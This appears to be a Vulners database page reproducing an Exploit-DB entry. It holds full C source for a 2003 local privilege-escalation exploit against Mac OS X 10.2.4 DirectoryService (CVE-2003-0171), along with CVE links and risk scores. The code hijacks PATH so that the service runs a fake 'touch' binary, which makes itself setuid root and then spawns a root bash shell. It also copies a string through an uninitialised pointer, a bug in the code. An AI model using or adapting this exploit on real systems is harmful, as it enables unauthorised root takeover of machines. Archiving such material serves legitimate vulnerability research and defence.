Lucene search
+L

Apple Mac OSX 10.2.4 - DirectoryService 'PATH' Local Privilege Escalation

🗓️ 18 Apr 2003 00:00:00Reported by Neeko OniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

OS X 10.2.4 DirectoryService local root exploit requires crash before execution.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2003-0171
15 Apr 200304:00
cve
cvelist
Cvelist
CVE-2003-0171
15 Apr 200304:00
cvelist
euvd
EUVD
EUVD-2003-0167
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-0171
5 May 200304:00
nvd
securityvulns
securityvulns
MacOS X DirectoryService Privilege Escalation (a041003-1)
12 Apr 200300:00
securityvulns
/*
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at [email protected]  [Neeko Oni]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.\n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %s\n", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %s\n", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...\n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...\n");
		sleep(3);
		printf("Cross your fingers.\n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %s\n", getenv("PATH"));
		execl("./touch", "touch", NULL);
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}

// milw0rm.com [2003-04-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00907
41